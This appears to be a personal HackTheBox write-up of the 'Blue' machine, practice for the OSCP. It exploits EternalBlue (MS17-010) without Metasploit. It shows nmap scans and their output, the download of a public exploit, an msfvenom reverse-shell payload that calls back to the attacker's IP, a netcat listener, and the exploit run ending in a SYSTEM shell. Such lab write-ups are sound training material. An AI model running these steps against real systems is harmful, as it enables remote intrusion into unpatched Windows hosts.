Blue is the third hackthebox machine i have completed but is the first time without using metasploit. This machine exploits SMB using the famous SMB MS17-010 vulnerability Eternal Blue.
Summary
- Port Scan using Nmap
- Searchsploit MS17-010 non-metasploit exploits
- msfvenom to create a non-meterpreter shell.
- netcat listener
Machine IP: 10.10.10.40
Recon and Information Gathering
Port Scan with Nmap
As always, we first begin with a simple nmap port scan to discover any open ports on this machine.
nmap -n -sV -p- -T 5 -Pn 10.10.10.40
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP) 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49156/tcp open msrpc Microsoft Windows RPC 49157/tcp open msrpc Microsoft Windows RPC 52097/tcp filtered unknown
we can see ports 135, 139 and 445 are open. As well as 6 ports for msrpc.
SMB
As we have SMB on port 445, lets enumerate further.
nmap -n -A -p 445 -T 5 -Pn 10.10.10.40
PORT STATE SERVICE VERSION 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -13m39s, deviation: 34m35s, median: 6m17s | smb-os-discovery: | OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1:professional | Computer name: haris-PC | NetBIOS computer name: HARIS-PC\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2020-09-14T21:54:17+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-09-14T20:54:16 |_ start_date: 2020-09-14T20:16:58
Knowing this could be exploitable, lets run Nmaps SMB vulnerability scanner against the port 445.
nmap --script=*vuln-smb* -p 445 10.10.10.40
Host script results: |_smb-vuln-ms10-054: false |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND | smb-vuln-ms17-010: | VULNERABLE: | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) | State: VULNERABLE | IDs: CVE:CVE-2017-0143 | Risk factor: HIGH | A critical remote code execution vulnerability exists in Microsoft SMBv1 | servers (ms17-010).
This machine is vulnerable to Eternal Blue, which means remote code execution!
Exploiting without Metasploit
Lets use searchsploit to find find a non-metasploit exploit in the database.
searchsploit --id MS17-010
kali@kali:~$ searchsploit --id ms17-010 ------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | EDB-ID ------------------------------------------------------------------------------------------------------------------ --------------------------------- Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (M | 43970 Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit) | 41891 Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42031 Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42315 Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) | 42030 Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) | 41987 ------------------------------------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
The machine is running Windows 7, so lets go ahead and use #42315 by cloning it to our working directory using searchsploit -m 42315
and then examining the source code.
The source code requires three things:
- Download mysmb.py
- Using MSFVenom to generate a reverse shell payload. This is indicated by:
Note: there are many methods to get shell over SMB admin session. a simple method to get shell (but easily to be detected by AV) is executing binary generated by "msfvenom -f exe-service ..."`
- If possible, provide login credentials and point to the msfvenom payload.
Preparing
First thing to do is clone the github repositoryand then rename it:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/42315.py mv 42315.py.1 mysmb.py
Next, create the msfvenom reverse shell executable payload.
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.27 LPORT=4444 > eternal-blue.exe
Lastly, as seen in our Nmap scan earlier, SMB supports the user ‘guest’, so enter the guest credentials into the exploit
Also we’ll add the executable’s location to the exploit file to send it and execute it.
And lastly, I will set up a netcat listener on my host machine.
nc -nvlp 4444
Exploiting
Run the python script python 42315.py 10.10.10.40
and check the netcat listener.
We have shell with system access!
User
Root
End Notes
I did have some issues when exploiting this machine, but this was due to my own silly errors, such as missing out an ‘ in service_exec() and putting the file location as /root/.
This is the first machine i have completed without using metasploit, due to the OSCP not allowing it, likewise msfvenom was used due to meterpretor not being allowed either.